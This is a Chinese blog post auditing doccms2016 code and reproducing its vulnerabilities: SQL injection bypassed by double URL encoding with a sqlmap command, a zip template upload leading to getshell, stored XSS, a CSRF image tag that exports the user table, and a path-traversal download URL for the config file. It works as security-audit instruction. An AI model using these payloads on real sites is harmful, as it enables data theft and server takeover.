doccms2016代码审计及漏洞复现

doccms2016代码审计及漏洞复现

1.sql注入

在/content/search/index.php中,首先对参数keyword进行非法字符检测

<?php
//首页搜索,站内关键字搜索
function index()
{
	global $db;
	global $request;
	global $params;
	global $tag;	// 标签数组

	!checkSqlStr($request['keyword'])? $request['keyword'] = $request['keyword'] : exit('非法字符');
	$keyword = urldecode($request['keyword']);
	
function checkSqlStr($string)
{
	$string = strtolower($string);
	return preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|_user/i', $string);
}

发现没有在过滤函数中进行解码,所以我们可以直接两次url编码进行绕过,

sqlmap.py -u "http://192.168.164.138:89/search/?keyword=123" --tamper=chardoubleencode

2.后台getshell

在后台模板上传处,检查文件是否为压缩包格式(检查是否解压成功),之后直接对压缩包进行解压,可以上传文件

admini\controllers\system\managemodel.php

function upload_model()
{
	//把模版先暂时上传在系统根目录的TEMP文件夹里,解决safe_mode On时无法上传在环境文件夹下
	//suny.2008.01.16
	$upload = new Upload(10000,'/temp/');
	$fileName = $upload->SaveFile('upfile');
	if(is_file(ABSPATH.'/temp/'.$fileName))
	{
		del_dir(ABSPATH.UPLOADPATH.'temp/');
		mkdirs(ABSPATH.UPLOADPATH.'temp/');
		if(unzip(ABSPATH.UPLOADPATH.'temp/',ABSPATH.'/temp/'.$fileName,ABSPATH.'/temp/'.$fileName)==1)
		{
			$doc = get_config_xmldoc('config');
			exec_config($doc);
			$doc = get_config_xmldoc('install');
			exec_install($doc);
	
			redirect('?m=system&s=managemodel');
		}
	}
}
	function SaveFile($fileField,$isArry=false,$i=0)
	{
		if($isArry)
		{
			//检查上传文件
			if($_FILES[$fileField]['error'][$i] > 0)
			{
				switch((int)$_FILES[$fileField]['error'][$i]){
					case UPLOAD_ERR_NO_FILE:
						$this->errorMsg .="请选择有效的上传文件!";
						break;
					case UPLOAD_ERR_FORM_SIZE:
						$this->errorMsg .="您上传的文件总大小超出了最大限制:".$this->allowSize."KB\"')";
						break;
				}
				return NULL;
			}
			preg_match("/\.([a-zA-Z0-9]{2,4})$/",$_FILES[$fileField]['name'][$i],$exts);
			//检查上传文件的扩展名
			if($this->checkValidExt($exts[1]))
			{
				$this->errorMsg.="提示:\n\n请选择一个有效的文件,\n支持的格式有:".$this->AllowExt;
				return NULL;
			}
			$this->saveFileName = $this->getRndFileName(strtolower($exts[1]));
			$sFileName = $this->getDateDir().$this->saveFileName;
	
			if(!move_uploaded_file($_FILES[$fileField]['tmp_name'][$i],$this->uploadDir.$sFileName))
			{
				$this->errorMsg.='文件上传系统操作错误。';
				return NULL;
			}
			else
			{
				return $sFileName;
			}
		}
		else
		{
			//检查上传文件
			if($_FILES[$fileField]['error'] > 0)
			{
				switch((int)$_FILES[$fileField]['error']){
					case UPLOAD_ERR_NO_FILE:
						$this->errorMsg .="请选择有效的上传文件!";
						break;
					case UPLOAD_ERR_FORM_SIZE:
						$this->errorMsg .="您上传的文件总大小超出了最大限制:".$this->allowSize."KB\"')";
						break;
				}
				return NULL;
			}
			preg_match("/\.([a-zA-Z0-9]{2,4})$/",$_FILES[$fileField]['name'],$exts);
			//检查上传文件的扩展名
			if($this->checkValidExt($exts[1]))
			{
				$this->errorMsg.="提示:\n\n请选择一个有效的文件,\n支持的格式有:".$this->AllowExt;
				return NULL;
			}
			$this->saveFileName = $this->getRndFileName(strtolower($exts[1]));
			$sFileName = $this->getDateDir().$this->saveFileName;
	
			if(!move_uploaded_file($_FILES[$fileField]['tmp_name'],$this->uploadDir.$sFileName))
			{
				$this->errorMsg.='文件上传系统操作错误。';
				return NULL;
			}
			else
			{
				return $sFileName;
			}
		}
	}

直接解压文件,没有进行任何检测

3.留言处存储xss

content\guestbook\index.php

function create()
{
	echo 123;
	global $db,$request;
	if ($_SESSION['verifycode'] != $request['checkcode'])
	{
		echo '<script>alert("请正确填写验证码!");location.href="javascript:history.go(-1)";</script>';
		exit;
	}
	
	foreach ($request as $k=>$v)
	{
		$request[$k]=RemoveXSS($v);
	}
	
	require(ABSPATH.'/admini/models/guestbook.php');
	$guestbook = new guestbook();
	$guestbook->addnew($request);
	$guestbook->custom=@implode('<|@|>',$request['custom']);
	$guestbook->dtTime=date('Y-m-d H:i:s');
	$guestbook->channelId=$request['p'];
	$guestbook->ip=$_SERVER['REMOTE_ADDR'];
	$guestbook->uid=$_SESSION[TB_PREFIX.'user_ID'];

	if($guestbook->save())
	{
		if(guestbookISON)
		{
			sys_mail(' 留言提醒','最新留言提醒:您的网站:<a href="http://'.WEBURL.'">'.WEBURL.'</a> 有最新留言,请及时前往审核回复!');
		}
		echo '<script>alert("恭喜,您的留言已提交成功,工作人员会及时回复!");window.location.href="'.sys_href($request['p']).'";</script>';
		exit;
	}
	else
	{
		echo '<script>alert("对不起,系统错误,您的留言未能及时提交,请电话与我们联系。");window.location.href="'.sys_href($request['p']).'";</script>';
		exit;
	}
}
function RemoveXSS($val) { 
    // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed 
    // this prevents some character re-spacing such as <java\0script> 
    // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some          // inputs 
    $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val); 
    
    // straight replacements, the user should never need these since they're normal characters 
    // this prevents like <IMG SRC=@avascript:alert('XSS')> 
    $search = 'abcdefghijklmnopqrstuvwxyz'; 
    $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; 
    $search .= '1234567890!@#$%^&*()'; 
    $search .= '~`";:?+/={}[]-_|\'\\'; 
    for ($i = 0; $i < strlen($search); $i++) { 
        // ;? matches the ;, which is optional 
        // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars 

        // @ @ search for the hex values 
        $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val);//with a ; 
        // @ @ 0{0,7} matches '0' zero to seven times 
        $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ; 
    } 

    // now the only remaining whitespace attacks are \t, \n, and \r 
    $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); 
    $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'); 
    $ra = array_merge($ra1, $ra2); 
   
    $found = true; // keep replacing as long as the previous round replaced something 
    while ($found == true) { 
        $val_before = $val; 
        for ($i = 0; $i < sizeof($ra); $i++) { 
            $pattern = '/'; 
            for ($j = 0; $j < strlen($ra[$i]); $j++) { 
                if ($j > 0) { 
                    $pattern .= '('; 
                    $pattern .= '(&#[xX]0{0,8}([9ab]);)'; 
                    $pattern .= '|'; 
                    $pattern .= '|(&#0{0,8}([9|10|13]);)'; 
                    $pattern .= ')*'; 
                } 
                $pattern .= $ra[$i][$j]; 
            } 
            $pattern .= '/i'; 
            $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag 
            $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags 
            if ($val_before == $val) { 
                // no replacements were made, so exit the loop 
                $found = false; 
            } 
        } 
    } 
    return $val; 
}

找到了大佬的脚本,可以用来备份数据库的user表

<H2> CRSFTester</H2>
<img src="http://127.0.0.1:80/admini/index.php?m=system&s=bakup&a=export&tables[]=doc_user&sizelimit=2048&dosubmit=开始备份数据" width="0" height="0" border="0"/>

4.后台任意文件下载

\doccms\admini\controllers\system\back.php

function download()
{
	global $request;
	if(!empty($request['filename']))
	{
		file_down(ABSPATH.'/temp/data/'.$request['filename']);
	}
	else
	{
		 echo '<script>alert("文件名不能为空!");window.history.go(-1);</script>';
	}
}
function file_down($file,$filename='')
{
	if(is_file($file))
	{
		$filename = $filename ? $filename : basename($file);
		$filetype = fileext($filename);
		$filesize = filesize($file);
		header('Cache-control: max-age=31536000');
		header('Expires: '.gmdate('D, d M Y H:i:s', time() + 31536000).' GMT');
		header('Content-Encoding: none');
		//header('Content-Length: '.$filesize);
		header('Content-Disposition: attachment; filename='.$filename);
		header('Content-Type: '.$filetype);
		readfile($file);
	}
	else
	{
		echo '<script>alert("文件不存在!");window.history.go(-1);</script>';
	}
	exit;
}

没有对文件名进行过滤,直接修改目录即可进行文件下载

http://127.0.0.1/admini/index.php?m=system&s=bakup&a=download&filename=../../config/doc-config-cn.php

5.总结

sql注入可以直接获取管理员名和密码的hash,但是密码的hash是已经是经过自定义函数加密的,我们就只能对密码进行爆破来获得管理员密码,结合后台模板处文件上传即可getshell

加密函数

<?php 
class docEncryption
{
	var $enstr = null;
	function docEncryption($str)
	{
		$this->enstr = $str;
	}
	function get_shal()
	{
		return sha1($this->enstr);
	}
	function get_md5()
	{
		return md5($this->enstr);
	}
	function get_jxqy3()
	{
		$tmpMS = $this->get_shal().$this->get_md5();
		$tmpNewStr = substr($tmpMS,0,9).'s'.substr($tmpMS,10,9).'h'.substr($tmpMS,20,9).'l'.substr($tmpMS,30,9).'s'.substr($tmpMS,40,9).'u'.substr($tmpMS,50,9).'n'.substr
($tmpMS,60,9).'y'.substr($tmpMS,70,2);
		$tmpNewStr = substr($tmpNewStr,-36).substr($tmpNewStr,0,36);
		$tmpNewStr = substr($tmpNewStr,0,70);
		$tmpNewStr = substr($tmpNewStr,0,14).'j'.substr($tmpNewStr,14,14).'x'.substr($tmpNewStr,28,14).'q'.substr($tmpNewStr,32,14).'y'.substr($tmpNewStr,56,14).'3';
		return $tmpNewStr;
	}
	function to_string()
	{
		$tmpstr = $this->get_jxqy3();
		$tmpstr = substr($tmpstr,-35).substr($tmpstr,0,40);
		return $tmpstr;
	}
}
发布了14 篇原创文章 · 获赞 0 · 访问量 13

猜你喜欢

转载自blog.csdn.net/qq_43645782/article/details/105468209
今日推荐